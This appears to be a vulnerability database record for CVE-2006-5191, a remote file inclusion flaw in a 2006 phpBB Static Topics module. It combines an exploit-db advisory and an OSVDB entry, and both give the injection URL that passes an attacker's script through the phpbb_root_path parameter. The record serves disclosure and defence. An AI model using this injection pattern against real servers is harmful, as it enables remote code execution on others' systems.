ID CVE-2006-5191 Type cve Reporter cve@mitre.org Modified 2017-10-19T01:29:00
Description
PHP remote file inclusion vulnerability in includes/functions_static_topics.php in the Nivisec Static Topics module for phpBB 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.
Successful exploitation requires that "register_globals" is enabled.
{"exploitdb": [{"lastseen": "2016-01-31T16:20:34", "bulletinFamily": "exploit", "description": "phpBB Static Topics <= 1.0 [phpbb_root_path] File Include Vulnerability. CVE-2006-5191. Webapps exploit for php platform", "modified": "2006-10-04T00:00:00", "published": "2006-10-04T00:00:00", "id": "EDB-ID:2477", "href": "https://www.exploit-db.com/exploits/2477/", "type": "exploitdb", "title": "phpBB Static Topics <= 1.0 - phpbb_root_path File Include Vulnerability", "sourceData": "---------------------------------------------------------------------------\nphpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability\n---------------------------------------------------------------------------\n\n\nDiscovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :\nRemote : Yes\nCritical Level : Dangerous\n---------------------------------------------------------------------------\n\nAffected software description :\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\nApplication : phpBB Static Topics\nversion : 1.0\nURL : http://www.nivisec.com/downloads/phpbb/static_forums.zip\n------------------------------------------------------------------\n\n\nExploit:\n~~~~~\nVariable $phpbb_root_path not sanitized.When register_globals=on an attacker ca\nn exploit this vulnerability with a simple php injection script.\n\n# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]\n---------------------------------------------------------------------------\n\nSolution :\n~~~~~~~\ndeclare variabel $phpbb_root_path\n---------------------------------------------------------------------------\n\n\nShoutz:\n~~~\n\n# Special greetz to my good friend [Oo]\n# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]\n---------------------------------------------------------------------------\n\n*/\n\nContact:\n~~~~~\n\nNick: Kw3rLn\nE-mail: ciriboflacs[at]YaHoo[dot]Com\nHomepage: hTTp://RST-CREW.NET\n_/*\n\n# milw0rm.com [2006-10-04]\n", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/2477/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:26", "bulletinFamily": "software", "description": "## Vulnerability Description\nNivisec Static Topics for phpBB contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/functions_static_topics.php script not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Nivisec has released a patch to address this vulnerability.\n## Short Description\nNivisec Static Topics for phpBB contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/functions_static_topics.php script not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]\n## References:\nVendor URL: http://www.nivisec.com/\n[Secunia Advisory ID:22269](https://secuniaresearch.flexerasoftware.com/advisories/22269/)\nISS X-Force ID: 29347\nGeneric Exploit URL: http://www.milw0rm.com/exploits/2477\nFrSIRT Advisory: ADV-2006-3916\n[CVE-2006-5191](https://vulners.com/cve/CVE-2006-5191)\nBugtraq ID: 20353\n", "modified": "2006-10-04T09:34:28", "published": "2006-10-04T09:34:28", "href": "https://vulners.com/osvdb/OSVDB:29506", "id": "OSVDB:29506", "title": "Nivisec Static Topics for phpBB includes/functions_static_topics.php phpbb_root_path Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}